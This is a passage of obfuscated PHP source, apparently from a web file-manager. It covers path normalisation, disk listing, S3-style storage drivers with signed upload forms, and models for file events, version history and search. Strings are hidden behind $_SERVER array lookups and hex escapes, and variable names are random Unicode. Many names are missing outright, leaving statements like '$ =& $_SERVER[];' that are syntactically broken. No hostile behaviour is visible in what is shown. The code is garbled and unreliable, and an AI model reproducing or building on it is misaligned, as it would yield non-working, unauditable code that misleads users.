(strpos($ᇤ, $[1315]) === 0) { return !0; } if (strpos($ᇤ, $[1349]) === 0) { return !0; } if (strpos($ᇤ, $[1350]) === 0) { return !0; } if (strpos($ᇤ, $[1351]) === 0) { return !0; } return !1; } public static function clear($Ǝ) { $Ἁ =& $_SERVER[]; $Ǝ = str_replace(array($Ἁ[1150], $Ἁ[262]), $Ἁ[53], $Ǝ); $Ǝ = str_replace($Ἁ[100], $Ἁ[8], $Ǝ); $ˈ = $Ἁ[1352]; if (substr($Ǝ, 0, 3) == $Ἁ[1353]) { $Ǝ = substr($Ǝ, 3); } while (strstr($Ǝ, $ˈ)) { $Ǝ = str_replace($ˈ, $Ἁ[8], $Ǝ); } $Ǝ = preg_replace($Ἁ[1354], $Ἁ[8], $Ǝ); if ($Ǝ == $Ἁ[8]) { return $Ἁ[8]; } $Ǝ = rtrim($Ǝ, $Ἁ[8]); return $Ǝ; } public static function pathTrue($) { $⑁ =& $_SERVER[]; if (!$) { return $⑁[12]; } $ = str_replace($⑁[592], $⑁[8], str_replace($⑁[1355], $⑁[8], $)); $ = str_replace($⑁[592], $⑁[8], str_replace($⑁[1355], $⑁[8], $)); if (!strstr($, $⑁[1353])) { return $; } $ܔ = explode($⑁[8], $); foreach ($ܔ as $ؐܘ => $) { if ($ !== $⑁[1356]) { continue; } for ($♮ӆ = $ؐܘ; $♮ӆ >= 0; $♮ӆ--) { if ($ܔ[$♮ӆ] === $⑁[10] || $ܔ[$♮ӆ] === $⑁[1356] || $ܔ[$♮ӆ] === -1) { continue; } if ($ܔ[$♮ӆ] === $⑁[12]) { $ܔ[$ؐܘ] = -1; break; } $ܔ[$ؐܘ] = -1; $ܔ[$♮ӆ] = -1; break; } } $ʭ = array(); foreach ($ܔ as $) { if ($ !== -1) { $ʭ[] = $; } } $ = implode($⑁[8], $ʭ); if (strpos($, $⑁[1357]) === 0) { $ = $⑁[1353] . substr($, strlen($⑁[1357])); } return $; } public static function pathUrlClear($ŵ) { $Ҭ =& $_SERVER[]; if (!$ŵ) { return $ŵ; } $ŵ = rawurldecode($ŵ); $ŵ = str_replace($Ҭ[1355], $Ҭ[8], $ŵ); if (strpos($ŵ, $Ҭ[76]) > 0) { $ŵ = substr($ŵ, 0, strpos($ŵ, $Ҭ[76])); } if (strpos($ŵ, $Ҭ[1358]) > 0) { $ŵ = substr($ŵ, 0, strpos($ŵ, $Ҭ[1358])); } return $ŵ; } public static function sourceID($) { $ =& $_SERVER[]; $勘 = self::parse($); if ($勘[$[33]] !== self::KOD_SOURCE) { show_json(LNG($[1359]), !1); } return $勘[$[475]]; } public static function make($⒭) { if (!$⒭) { return !1; } return self::makePath(self::KOD_SOURCE, intval($⒭)); } public static function makeShare($Ȋ, $) { return self::makePath(self::KOD_SHARE_ITEM, $Ȋ, $); } public static function makeFileTypePath($ϼ) { return self::makePath(self::KOD_USER_FILE_TYPE, $ϼ); } public static function makeFileTagPath($) { return self::makePath(self::KOD_USER_FILE_TAG, $); } public static function makePath($, $ = '', $ = '') { $å =& $_SERVER[]; $蒠β = substr($, 1, -1); $ˣ = $å[1360] . $蒠β . $å[1361] . $ . $å[1362]; $ˣ = $ ? $ˣ . $ . $å[8] : $ˣ; return $ˣ; } public static function hashPath($؞, $ = true) { $ =& $_SERVER[]; $ެ = is_array($؞) ? $؞ : IO::info($؞); $ = _get($ެ, $[1363], $[12]); if (!$ && isset($ެ[$[235]])) { $ = trim($ެ[$[235]], $[121]); } if (!$ && isset($ެ[$[193]]) && $ެ[$[193]]) { $ެ = IO::info(KodIO::make($ެ[$[193]])); $ = _get($ެ, $[1363], $[12]); } $Ñ = md5($ެ[$[87]] . $ެ[$[79]] . $ެ[$[88]]); if (!$ && file_exists($ެ[$[87]])) { $ = Cache::get($Ñ . $[1364]); $ = !1; if (!$) { $ = IO::hashSimple($ެ[$[87]]); Cache::set($Ñ . $[1364], $, 3600 * 24 * 30); } } if ($ && !$) { } return $ ? $ : $Ñ; } public static function hashPathSafe($㪞, $ل = true) { $ܠ =& $_SERVER[]; $ = self::hashPath($㪞, $ل); return md5($ . $ܠ[1365] . Model($ܠ[837])->get($ܠ[838])); } public static function initSystemPath() { $ =& $_SERVER[]; if (defined($[1366])) { return; } define($[1366], self::systemPath($[191])); define($[1367], self::systemPath($[1368])); define($[1369], self::systemPath($[1370])); define($[1371], self::systemPath($[1372])); IOHistory::bindEvent(); } public static function systemPath($ݸ) { $ؾ =& $_SERVER[]; $ = $ؾ[1373] . ucfirst($ݸ); $ = Model($ؾ[837])->get($); if ($) { return $; } if ($ݸ == $ؾ[191]) { $ = self::make(Model($ؾ[899])->systemRootPathAdd($ؾ[605])); } else { $ = self::systemPath($ؾ[191]); $Ǯ = self::sourceID($); $ = self::make(Model($ؾ[899])->mkdir($Ǯ, $ݸ)); } Model($ؾ[837])->set($, $); return $; } public static function systemFolder($) { $㶗ʥ = IO_PATH_SYSTEM_SOURCE . $; $Ɯ = Cache::get($㶗ʥ); if (!$Ɯ) { $ = IO::infoFullSimple($㶗ʥ); if (!$) { $Ɯ = IO::mkdir($㶗ʥ, REPEAT_SKIP); } else { $Ɯ = $[$_SERVER[][87]]; } Cache::set($㶗ʥ, $Ɯ, 3600 * 10); } return $Ɯ; } public static function defaultDriver() { return Model($_SERVER[][834])->defaultDriver(); } public static function defaultIO() { $՜ =& $_SERVER[]; $Œ = self::defaultDriver(); return $՜[1374] . $Œ[$՜[475]] . $՜[1362]; } public static function defaultDriverInit() { static $ = false; if ($) { return $; } $ = IO::init(self::defaultIO()); return $; } public static function fileTypeList() { $ =& $_SERVER[]; $ܮ = $GLOBALS[$[6]][$[1375]]; foreach ($ܮ as $Ǧ => $ĝ) { $ۙ = $[1376] . $Ǧ; $ڤ = LNG($ۙ); if ($ۙ != $ڤ) { $ܮ[$Ǧ][$[32]] = $ڤ; } } return $ܮ; } public static function diskList($ = true) { $ª = $_SERVER[][1377]; if ($) { $Ǧ = Cache::get($ª); if (is_array($Ǧ)) { return $Ǧ; } } $Ǧ = self::diskListGet(); Cache::set($ª, $Ǧ, 60); return $Ǧ; } public static function diskListGet() { $ٜ =& $_SERVER[]; $η = array(); if ($GLOBALS[$ٜ[6]][$ٜ[1378]] == $ٜ[1379]) { $֑ = $ٜ[1380]; for ($ = 0; $ < strlen($֑); $++) { $牃 = $֑[$] . $ٜ[1381]; if (file_exists($牃)) { $η[] = $牃; } } return $η; } if (!function_exists($ٜ[101])) { $η[] = $ٜ[910]; return $η; } $Ǿ = explode($ٜ[262], shell_exec($ٜ[1382])); array_shift($Ǿ); array_pop($Ǿ); $ꄍ = array($ٜ[1383], $ٜ[1384], $ٜ[1385], $ٜ[1386], $ٜ[1387], $ٜ[1388], $ٜ[1389], $ٜ[1390]); foreach ($Ǿ as $ª) { $ = preg_split($ٜ[1391], $ª); $牃 = $[count($) - 1]; if (!strstr($[0], $ٜ[1392]) || !$牃) { continue; } $ = rtrim($牃, $ٜ[8]) . $ٜ[8]; if (in_array($, $ꄍ)) { continue; } $η[] = $; } return $η; } public static function isSameDisk($ǝ, $) { $ =& $_SERVER[]; if ($GLOBALS[$[6]][$[1378]] == $[1379]) { return strtolower(substr($ǝ, 0, 1)) == strtolower(substr($, 0, 1)); } $͞ = self::diskList(); $ = !1; $ = !1; sort($͞); $͞ = array_reverse($͞); $ǝ = rtrim($ǝ, $[8]) . $[8]; $ = rtrim($, $[8]) . $[8]; foreach ($͞ as $ԭ) { $DŽ = strlen($ԭ); if (!$ && substr($ǝ, 0, $DŽ) == $ԭ) { $ = $ԭ; } if (!$ && substr($, 0, $DŽ) == $ԭ) { $ = $ԭ; } if ($ && $) { break; } } return $ === $; } public static function transferType($, $) { $ߔ =& $_SERVER[]; $ = self::driverType($); $ = self::driverType($); if ($[$ߔ[33]] == $[$ߔ[33]] && $[$ߔ[1393]] == $[$ߔ[1393]]) { return $ߔ[1394]; } if ($[$ߔ[33]] == $ߔ[943] && $[$ߔ[33]] == $ߔ[109]) { return $ߔ[1272]; } if ($[$ߔ[33]] == $ߔ[109] && $[$ߔ[33]] == $ߔ[943]) { return $ߔ[110]; } return $ߔ[1395]; } public static function driverType($ߜ) { $ =& $_SERVER[]; $ = str_replace($[1396], $[12], strtolower($ߜ->getType())); if ($ == $[824] || $ == $[1397] || $ == $[1398]) { $ߜ = self::defaultDriverInit(); } else { if ($ == $[1282] || $ == $[1399]) { $ߜ = IO::init($ߜ->pathParse[$[1225]]); } } $ˋ = $ߜ->path; $ = str_replace($[1396], $[12], strtolower($ߜ->getType())); if ($ == $[109]) { return array($[33] => $[109], $[1393] => $[12], $[87] => $ˋ, $[98] => $ߜ); } return array($[33] => $[943], $[1393] => $ߜ->pathDriver, $[87] => $ˋ, $[98] => $ߜ); } public static function pathDriverType($軀) { return $軀 ? self::driverType(IO::init($軀)) : !1; } public static function pathDriverLocal($Я) { $͚դ =& $_SERVER[]; $ = $Я ? self::driverType(IO::init($Я)) : !1; return strtolower($[$͚դ[33]]) == $͚դ[109] ? !0 : !1; } public static function allowCover($ŝ֭, $Œُ = true) { $ =& $_SERVER[]; if (is_string($ŝ֭)) { $ŝ֭ = IO::info($ŝ֭); } if (!$ŝ֭ || $ŝ֭[$[33]] == $[78] || $ŝ֭[$[79]] <= 100) { return !1; } if (isset($ŝ֭[$[1400]]) || !$ŝ֭[$[87]]) { return !1; } if (isset($ŝ֭[$[232]]) && !$ŝ֭[$[232]]) { return !1; } static $ = false; if (!$ || !$Œُ) { $Ӹ = self::driverType(IO::init($ŝ֭[$[87]])); $ = $Ӹ[$[98]]; $ = $[196]; if ($Ӹ[$[33]] == $[109]) { $ = $[1401]; } if ($Ӹ[$[98]] && is_array($Ӹ[$[98]]->config)) { $ = $Ӹ[$[98]]->config; if (isset($[$[1402]]) && $[$[1402]]) { $ = $[1401]; } } $˻ = KodIO::defaultDriver(); if (strtolower($˻[$[98]]) == $[109] && is_array($˻[$[6]])) { $Ɍ = $˻[$[6]][$[1255]]; if (substr($Ɍ, 0, 2) == $[1403]) { $Ɍ = str_replace($[1403], BASIC_PATH, $Ɍ); } $Ɍ = str_replace($[592], $[8], $Ɍ); if (substr($ŝ֭[$[87]], 0, strlen($Ɍ)) == $Ɍ) { $ = $[196]; } } } return $ == $[1401] ? !0 : !1; } } class PathDriverBOS extends PathDriverS3 { public function __construct($Ê) { parent::__construct($Ê); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function fileOutLink($) { $ɡ =& $_SERVER[]; if (substr($, 0, 7) == $ɡ[313]) { $ = $ɡ[314] . substr($, 7); } header($ɡ[175] . $); die; } } class PathDriverCOS extends PathDriverBaseS3 { public function __construct($Фϊ) { parent::__construct($Фϊ); $this->setSignVersion($_SERVER[][247]); } public function uploadFormData($, $ = 3600) { $ȕϵ =& $_SERVER[]; $ܠ = $ȕϵ[229]; $ͪ = $ȕϵ[263]; $⡡ = $ȕϵ[274]; $Ƌ = gmdate($ȕϵ[299], time() + $); $µǥ = (string) time() . $ȕϵ[74] . (string) (time() + $); $ڽ = array($ȕϵ[275] => $Ƌ, $ȕϵ[278] => array(array($ȕϵ[280] => $ܠ), array($ȕϵ[279] => $this->bucket), array($ȕϵ[281], $ȕϵ[282], $ȕϵ[12]), array($ȕϵ[285] => $⡡), array($ȕϵ[1404] => $ͪ), array($ȕϵ[1405] => $this->accessKey), array($ȕϵ[1406] => $µǥ))); $ڽ = json_encode($ڽ); $Ӄ = hash_hmac($ȕϵ[263], $µǥ, $this->secret); $Ҫ = sha1($ڽ); $ˬ = hash_hmac($ȕϵ[263], $Ҫ, $Ӄ); $Āޭ = array($ȕϵ[280] => $ܠ, $ȕϵ[285] => $⡡, $ȕϵ[293] => base64_encode($ڽ), $ȕϵ[1404] => $ͪ, $ȕϵ[1405] => $this->accessKey, $ȕϵ[1407] => $µǥ, $ȕϵ[1408] => $ˬ, $ȕϵ[208] => $this->getHost()); return $Āޭ; } public function fileOutImage($, $܂ = 250) { $ř =& $_SERVER[]; if ($this->size($) > 1024 * 1024 * 32) { return $this->fileOutImageServer($, $܂); } $ij = $this->link($); $ij .= $ř[1409] . $܂ . $ř[1410]; $this->fileOutLink($ij); } public function fileOutLink($֩) { $ =& $_SERVER[]; if (substr($֩, 0, 7) == $[313]) { $֩ = $[314] . substr($֩, 7); } header($[175] . $֩); die; } } goto d͘; c: class SourceEventModel extends ModelBase { protected $tableName = "\151\157\x5f\163\x6f\165\x72\143\x65\137\x65\166\x65\156\164"; protected $dataAuto = array(array("\143\x72\145\x61\164\145\124\x69\x6d\145", "\164\151\155\145", "\151\x6e\x73\145\162\164", "\x66\165\x6e\x63\164\151\157\156"), array("\x64\x65\163\x63", '', "\151\156\163\x65\x72\164\x2c\x75\160\x64\x61\164\145\54\x73\145\x6c\145\143\x74", "\152\x73\x6f\x6e")); protected $eventSave = true; public function recodeStop() { $this->eventSave = !1; } public function recodeStart() { $this->eventSave = !0; } public function addEvent($ަ, $, $ױÀ = '') { $Ҵ =& $_SERVER[]; if (!$this->eventSave) { return; } $ = Model($Ҵ[1411])->sourceInfo($ަ); if (!$) { return !1; } if ($this->isDisableEvent($, $)) { return; } if ($ױÀ && is_string($ױÀ)) { $ױÀ = array($Ҵ[2001] => $ױÀ); } $붝 = defined($Ҵ[2189]) ? USER_ID : 0; $ԡ = array($Ҵ[491] => $ަ, $Ҵ[2190] => $[$Ҵ[192]], $Ҵ[2191] => $[$Ҵ[32]], $Ҵ[582] => !empty($[$Ҵ[582]]) ? $[$Ҵ[582]] : $Ҵ[12], $Ҵ[1754] => $붝, $Ҵ[496] => $, $Ҵ[1756] => $ױÀ); $this->addSystemLog($, $ԡ); unset($ԡ[$Ҵ[2191]], $ԡ[$Ҵ[582]]); return $this->add($ԡ); } private function addSystemLog($ޡ, $) { $Ϡ쌮 =& $_SERVER[]; if ($ޡ == $Ϡ쌮[2192]) { $ޡ = $[$Ϡ쌮[526]][$Ϡ쌮[2193]]; } else { if (in_array($ޡ, array($Ϡ쌮[1941], $Ϡ쌮[2194]))) { $ޡ = $[$Ϡ쌮[526]][$Ϡ쌮[171]]; } } $ʗ = array_merge($, array($Ϡ쌮[2195] => $[$Ϡ쌮[193]], $Ϡ쌮[2196] => $[$Ϡ쌮[2196]])); Hook::trigger($Ϡ쌮[2197], $Ϡ쌮[2198] . $ޡ, $); Model($Ϡ쌮[1905])->addLog($Ϡ쌮[2198] . $ޡ, $ʗ); } private function isDisableEvent($, $) { $ǡ =& $_SERVER[]; if ($[$ǡ[190]] != SourceModel::TYPE_SYSTEM) { return !1; } if ($ == $ǡ[1930]) { return !1; } return !0; } public function eventCreate($ޠ, $Ō) { $ꔻ =& $_SERVER[]; $ = Model($ꔻ[1411])->sourceInfo($ޠ); $ϣ = array($ꔻ[2193] => $Ō, $ꔻ[32] => $[$ꔻ[32]]); return $this->addEvent($ޠ, $ꔻ[2192], $ϣ); } public function eventFileEdit($ظ) { $㭐 =& $_SERVER[]; $ڂͲ = array($㭐[2199] => $_SERVER[$㭐[2200]], $㭐[2201] => strtolower(ACTION)); if (isset($GLOBALS[$㭐[7]][$㭐[2202]])) { $ڂͲ[$㭐[2202]] = $㭐[91]; } return $this->addEvent($ظ, $㭐[1931], $ڂͲ); } public function eventRecycle($, $) { return $this->addEvent($, $_SERVER[][2194], $); } private static $_removeLast = ''; public function eventRemove($) { $ =& $_SERVER[]; self::$_removeLast = $; $ = Model($[1411])->sourceInfo($); $Ț = array_field_key($, array($[193], $[541], $[505], $[584])); $Ԋ = array($[171] => $[$[32]], $[2201] => ACTION, $[2203] => $Ț); return $this->addEvent($[$[192]], $[1930], $Ԋ); } public function eventShare($֢, $ȑ) { return $this->addEvent($֢, $_SERVER[][1941], $ȑ); } public function eventMove($ڤΕ, $ږ, $) { $֙ =& $_SERVER[]; if (self::$_removeLast == $ڤΕ) { return; } $Ϛ = Model($֙[1411]); $ = $Ϛ->sourceInfo($ڤΕ); $Φ = $Ϛ->sourceInfo($ږ); $ = $Ϛ->sourceInfo($); $ڮ = array($֙[1234] => $ږ, $֙[2204] => $Φ[$֙[32]], $֙[2180] => !empty($Φ[$֙[582]]) ? $Φ[$֙[582]] : $֙[12], $֙[1235] => $, $֙[2205] => $[$֙[32]], $֙[2206] => !empty($[$֙[582]]) ? $[$֙[582]] : $֙[12]); $this->addEvent($ڤΕ, $֙[620], $ڮ); $ = $Ϛ->sourceInfo($ڤΕ); $ڮ = array($֙[193] => $[$֙[193]], $֙[32] => $[$֙[32]]); $this->addEvent($ږ, $֙[2207], $ڮ); } public function eventCopy($ɦ) { $this->eventCreate($ɦ, $_SERVER[][618]); } public function eventRename($҃, $ʹ, $) { $̕ =& $_SERVER[]; $ = array($̕[1234] => $ʹ, $̕[1235] => $); return $this->addEvent($҃, $̕[1425], $); } public function eventAddComment($, $վ) { return $this->addEvent($, $_SERVER[][2208], $վ); } public function eventAddDesc($, $) { return $this->addEvent($, $_SERVER[][2209], $); } public function listBySource($ݏ) { $햽 =& $_SERVER[]; $ި = Model($햽[1411])->sourceInfo($ݏ); $뢂 = array($햽[491] => $ݏ); if ($ި[$햽[485]] == $햽[91]) { $ = Model($햽[1411])->listSearchChildren($ݏ, 20000); $[] = $ݏ . $햽[454]; $뢂 = array($햽[193] => array($햽[7], $)); } $ɋ = $this->where($뢂)->order($햽[2210])->selectPage(); if ($ɋ[$햽[442]][$햽[443]] == 0) { $ɋ[$햽[442]][$햽[443]] = 1; $ɋ[$햽[445]] = array(array($햽[491] => $ݏ, $햽[2190] => $ި[$햽[192]], $햽[1754] => $ި[$햽[527]], $햽[496] => $햽[2211], $햽[497] => $ި[$햽[231]], $햽[1756] => $햽[12])); } return $this->eventListParse($ɋ, $ݏ); } private function eventListParse($îʟ, $) { $ =& $_SERVER[]; $鉚 = $îʟ[$[445]]; $č̫ = array_to_keyvalue($鉚, $[12], $[193]); $ = array_to_keyvalue($鉚, $[12], $[2196]); foreach ($鉚 as $) { $ = $[$[526]]; if ($[$[33]] == $[620] && isset($[$[1234]])) { $č̫[] = $[$[1234]] . $[12]; $č̫[] = $[$[1235]] . $[12]; } if ($[$[33]] == $[2207] && isset($[$[193]])) { $č̫[] = $[$[193]] . $[12]; } } $č̫ = array_merge($č̫, $, array($ . $[12])); $č̫ = array_unique($č̫); $ļϝ = array_unique(array_to_keyvalue($鉚, $[12], $[1763])); $ = Model($[598])->userListInfo($ļϝ); $ܜ = Model($[899])->sourceListInfo($č̫, !0); foreach ($鉚 as &$) { if ($[$[33]] == $[620] && isset($[$[526]][$[1234]])) { $[$[526]][$[1234]] = $ܜ[$[$[526]][$[1234]]]; $[$[526]][$[1235]] = $ܜ[$[$[526]][$[1235]]]; } if ($[$[33]] == $[2207] && isset($[$[526]][$[193]])) { $[$[526]][$[193]] = $ܜ[$[$[526]][$[193]]]; } $[$[90]] = $ܜ[$[$[193]]]; $[$[2212]] = $ܜ[$[$[2196]]]; if ($[$[33]] == $[1930]) { $[$[2212]] = $[$[90]]; $[$[2196]] = $[$[2212]][$[193]]; $[$[90]] = !1; $[$[193]] = $[12]; } $[$[2139]] = $[$[$[1763]]]; } unset($); $îʟ[$[445]] = $鉚; return $îʟ; } public function removeBySource($úΓ) { $ = array($_SERVER[][491] => $úΓ); $this->where($)->remove(); } } class SourceHistoryModel extends ModelBase { protected $tableName = "\x69\x6f\137\x73\157\165\162\x63\x65\x5f\150\x69\x73\164\157\x72\x79"; public function historyCount($𨡶) { $ =& $_SERVER[]; if (!$𨡶) { return array(); } if (is_string($𨡶) || is_int($𨡶)) { $𨡶 = array($𨡶); } $ = array($[193], $[1995] => $[565]); $ = array($[193] => array($[7], $𨡶)); $ = $this->field($)->where($)->group($[193])->select(); return array_to_keyvalue($, $[193], $[565]); } public function addHistory($́, $ԧ = '') { $މ =& $_SERVER[]; $ۿ = array($މ[491] => $́[$މ[193]], $މ[1754] => isset($́[$މ[529]]) ? $́[$މ[529]] : $́[$މ[527]], $މ[542] => $́[$މ[541]], $މ[617] => $́[$މ[79]], $މ[2213] => $ԧ); if ($GLOBALS[$މ[6]][$މ[92]][$މ[1295]] >= 1) { $this->historyAutoClear($ۿ[$މ[193]]); $this->add($ۿ); } Hook::trigger($މ[2214], $ۿ); Model($މ[2215])->eventFileEdit($́[$މ[193]]); } private function historyAutoClear($) { $ڦ =& $_SERVER[]; $❱ = Model($ڦ[837])->get($ڦ[1317]); $ = intval($GLOBALS[$ڦ[6]][$ڦ[92]][$ڦ[1295]]); $Ɠō = $❱ == $ڦ[1318] ? min(5, $) : $; $Ɠō = $Ɠō <= 0 ? 0 : $Ɠō - 1; if ($Ɠō >= 499) { return; } $¾ = array($ڦ[491] => $); $ː = $this->field($ڦ[2216])->where($¾)->order($ڦ[2210])->select(); if (!$ː || $Ɠō >= count($ː)) { return; } $ = array_to_keyvalue($ː, $ڦ[12], $ڦ[475]); $ = array_slice($, $Ɠō); $ = array_to_keyvalue($ː, $ڦ[12], $ڦ[541]); $ = array_slice($, $Ɠō); if (!$ || !$) { return; } $¾ = array($ڦ[493] => array($ڦ[7], $)); $this->where($¾)->delete(); Model($ڦ[544])->remove($); } public function listData($) { $᷀ =& $_SERVER[]; $פ = array($᷀[491] => $); $ = $᷀[2217]; $Ƃ = $this->field($)->where($פ)->order($᷀[2210])->selectPage(); $this->_listAppendUser($Ƃ[$᷀[445]]); $۔ = Model($᷀[837])->get($᷀[1317]); $ = 5; if ($۔ == $᷀[1318]) { $Ƃ[$᷀[445]] = array_slice($Ƃ[$᷀[445]], 0, $); $Ƃ[$᷀[442]] = array($᷀[2218] => 1, $᷀[2219] => 20, $᷀[2220] => 1, $᷀[2221] => count($Ƃ[$᷀[445]])); } return $Ƃ; } protected function _listAppendUser(&$́) { $ =& $_SERVER[]; $ݖ = array_to_keyvalue($́, $[12], $[1763]); $γ = Model($[598])->userListInfo($ݖ); foreach ($́ as &$ǽȓ) { $į = $ǽȓ[$[1763]]; $ǽȓ[$[527]] = $γ[$į] ? $γ[$į] : !1; } unset($ǽȓ); } public function fileInfo($Ѷ) { $ =& $_SERVER[]; $ = $this->tablePrefix; $ = "{$}\x69\x6f\137\146\x69\154\x65\x20\x66\x69\x6c\x65\163\40\157\156\x20\146\x69\x6c\145\x73\56\146\x69\154\x65\x49\104\x20\75\x20\x68\151\163\x74\x6f\x72\171\x2e\x66\x69\x6c\x65\111\x44"; return $this->alias($[2222])->where(array($[493] => $Ѷ))->join($, $[2223])->find(); } public function removeItem($҈) { $ݹ =& $_SERVER[]; $ = array($ݹ[493] => $҈); $ӎ = $this->where($)->find(); if ($ӎ) { $ = $this->where($)->delete(); Model($ݹ[544])->remove($ӎ[$ݹ[541]]); return $; } return !1; } public function removeBySource($Ɋ) { $ր =& $_SERVER[]; if (!$Ɋ) { return !1; } if (!is_array($Ɋ)) { $Ɋ = array($Ɋ); } $ = array($ր [491] => array($ր [7], $Ɋ)); $ = $this->field($ր [542])->where($)->select(); if ($) { $this->where($)->delete(); $ތ = array_to_keyvalue($, $ր [12], $ր [541]); Model($ր [544])->remove($ތ); } return !0; } public function setDetail($ՠ, $) { $ =& $_SERVER[]; return $this->where(array($[493] => $ՠ))->save(array($[2213] => $)); } public function rollbackToItem($ߢ, $͓) { $뙷 =& $_SERVER[]; $ = Model($뙷[899])->sourceInfo($ߢ); $this->addHistory($, LNG($뙷[2224])); $ď = $this->find($͓); $ = array($뙷[541] => $ď[$뙷[541]], $뙷[79] => $ď[$뙷[79]], $뙷[88] => time(), $뙷[529] => USER_ID); Model($뙷[899])->where(array($뙷[193] => $ߢ))->save($); return $this->where(array($뙷[493] => $͓))->delete(); } public function clearSame($ʰު) { $⢿ =& $_SERVER[]; $沪 = $this->listData($ʰު); $ = array_to_keyvalue_group($沪, $⢿[541]); $Ԓ = array(); $٨ = array(); foreach ($ as $լ) { if (!$լ || count($լ) <= 1) { continue; } foreach ($լ as $끿) { $Ԓ[] = $끿[$⢿[541]]; $٨[] = $끿[$⢿[475]]; } } if (!$٨) { return; } $this->where(array($⢿[475] => array($⢿[7], $٨)))->delete(); Model($⢿[544])->remove($Ԓ); } public function userSpace() { $ =& $_SERVER[]; $ = $this->tablePrefix; $ = array($[1754] => USER_ID); $͆ = "{$}\151\x6f\137\146\151\x6c\145\x20\146\151\154\x65\163\40\x6f\156\40\x66\151\154\145\163\x2e\146\x69\x6c\x65\x49\x44\40\x3d\40\x68\x69\x73\x74\x6f\162\x79\x2e\146\151\154\145\x49\104"; return $this->alias($[2222])->where($)->join($͆, $[2223])->sum($[79]); } } class SourceListSearchModel extends SourceListMoveModel { public static function fileTypeWhere($Ç) { $̹ =& $_SERVER[]; $ڶ = KodIO::fileTypeList(); $ę = $ڶ[$Ç]; if (!$ę) { return array(); } $ = $ę[$̹[169]]; $ۿ = $̹[7]; if (!$ę[$̹[169]]) { $吆ڠ = array_to_keyvalue($ڶ, $̹[12], $̹[169]); $ = implode($̹[50], $吆ڠ); $ۿ = $̹[2225]; } $ = explode($̹[50], trim($, $̹[50])); return array($ۿ, $); } public function listPathType($) { $ =& $_SERVER[]; $ܕ = $this->fileTypeWhere($); if (!$ܕ) { return array(); } $ = USER_ID; $ = Model($[598])->getInfo($); $ = array($[648] => SourceModel::TYPE_USER, $[584] => array($[612], $[594] . $[$[90]][$[193]] . $[613]), $[649] => $, $[646] => 0, $[647] => $ܕ); return $this->listSource($); } public function listSearch($˭, $ = 300) { $ʮ =& $_SERVER[]; if (isset($˭[$ʮ[2060]]) && $˭[$ʮ[2060]]) { $˭[$ʮ[2060]] = str_replace($ʮ[460], $ʮ[2226], trim($˭[$ʮ[2060]])); } $ʴ = $this->_parseSearchWhere($˭); if (!isset($ʴ[$ʮ[505]])) { $ʴ[$ʮ[505]] = 0; } $Ȃ = $ʮ[2227]; $ع˼ = $ʴ; $˂ = $Ȃ; $this->_listSearchBindPinyin($˭, $ʴ, $Ȃ); $this->alias($ʮ[519])->_makeOrder(); $ʴ = $this->parseWhereLike($ʴ); $땩 = $this->distinct(!0)->field($Ȃ)->where($ʴ)->selectPage($); if ($GLOBALS[$ʮ[6]][$ʮ[457]][$ʮ[458]] && Input::check($˭[$ʮ[2060]], $ʮ[655]) && $땩[$ʮ[442]][$ʮ[429]] == 1 && $땩[$ʮ[442]][$ʮ[443]] == 0) { $땩 = $this->distinct(!0)->field($Ȃ)->where($ع˼)->limit(1000)->select(); $땩 = array_page_split($땩, !1, $); } $this->_listSearchFileContent($땩, $˭, $˂, $ع˼); $this->_listSearchDesc($땩, $˭, $˂); $this->_listSearchTag($땩, $˭, $˂); $this->_listSearchGroupTag($땩, $˭, $˂); $this->_listDataApply($땩[$ʮ[445]]); $this->_listMake($땩); return $땩; } private function _listSearchFileContent(&$Ȏ, $, $, $ܓ) { $ =& $_SERVER[]; if (!$[$[2060]] || $Ȏ[$[442]][$[429]] > 1) { return; } if (!isset($ܓ[$[32]]) || !is_array($[$[541]])) { return; } $ܓ[$[541]] = array($[7], $[$[541]]); unset($ܓ[$[32]]); unset($[$[541]]); $ضѱ = $this->field($)->where($ܓ)->limit($[2228])->select(); if (!$ضѱ || count($ضѱ) == 0) { return; } $Ȏ[$[445]] = array_merge($ضѱ, $Ȏ[$[445]]); $Ȏ[$[442]][$[443]] += count($ضѱ); } private function _listSearchTag(&$, $֨ȳ, $) { $͝ =& $_SERVER[]; if (!$֨ȳ[$͝[2060]] || $[$͝[442]][$͝[429]] > 1) { return; } $οձ = Model($͝[2229])->listData(); $ = array(); $ = $֨ȳ[$͝[2060]]; foreach ($οձ as $ȝ) { $Ϸ = $ȝ[$͝[32]]; $ = str_replace($͝[53], $͝[12], Pinyin::get($Ϸ)); if (stripos($Ϸ, $) !== !1 || stripos($, $) !== !1) { $[] = $ȝ[$͝[475]]; } } if (!$) { return; } $ީ = array($͝[500] => array($͝[7], $), $͝[1763] => USER_ID); $ = Model($͝[502])->field($͝[87])->where($ީ)->select(); $ = array_to_keyvalue($, $͝[12], $͝[87]); $㚍 = array_unique($); $this->_listSearchMerge($, $֨ȳ, $, $㚍); } private function _listSearchDesc(&$ؾ, $, $) { $ =& $_SERVER[]; if (!$[$[2060]] || $ؾ[$[442]][$[429]] > 1) { return; } $̫ = array($[97] => $[526], $[450] => array($[459], $[2062] . $[$[2060]] . $[2062])); $ = !1; if ($) { $욓 = $this->listSearchChildren($[$[192]]); $욓 = array_unique($욓); if (!$욓) { return; } $̫[$[193]] = array($[7], $욓); } $º = Model($[632])->field($[193])->where($̫)->limit(5000)->select(); $ = array_to_keyvalue($º, $[12], $[193]); $this->_listSearchMerge($ؾ, $, $, $); } private function _listSearchGroupTag(&$ّ, $̴, $) { $ь =& $_SERVER[]; if (!$̴[$ь[2060]] || $ّ[$ь[442]][$ь[429]] > 1 || !$̴[$ь[192]]) { return; } $Ą = $this->sourceInfo($̴[$ь[192]]); if (!$Ą || $Ą[$ь[190]] != SourceModel::TYPE_GROUP) { return; } $ = $Ą[$ь[569]]; $ȧ = Model($ь[2230])->get($); $ = array(); $͠ = $̴[$ь[2060]]; foreach ($ȧ[$ь[445]] as $Ϯ) { $Մİ = $Ϯ[$ь[32]]; $䩌 = str_replace($ь[53], $ь[12], Pinyin::get($Մİ)); if (stripos($Մİ, $͠) !== !1 || stripos($䩌, $͠) !== !1) { $[] = $Ϯ[$ь[475]]; } } if (!$) { return; } $߅ = array($ь[500] => array($ь[7], $), $ь[1763] => 0, $ь[33] => $ь[2082] . $); $ݶ׀ = Model($ь[502])->field($ь[87])->where($߅)->select(); $ݶ׀ = array_to_keyvalue($ݶ׀, $ь[12], $ь[87]); $ = array_unique($ݶ׀); $this->_listSearchMerge($ّ, $̴, $, $); } private function _listSearchMerge(&$Ë·, $, $˄ά, $) { 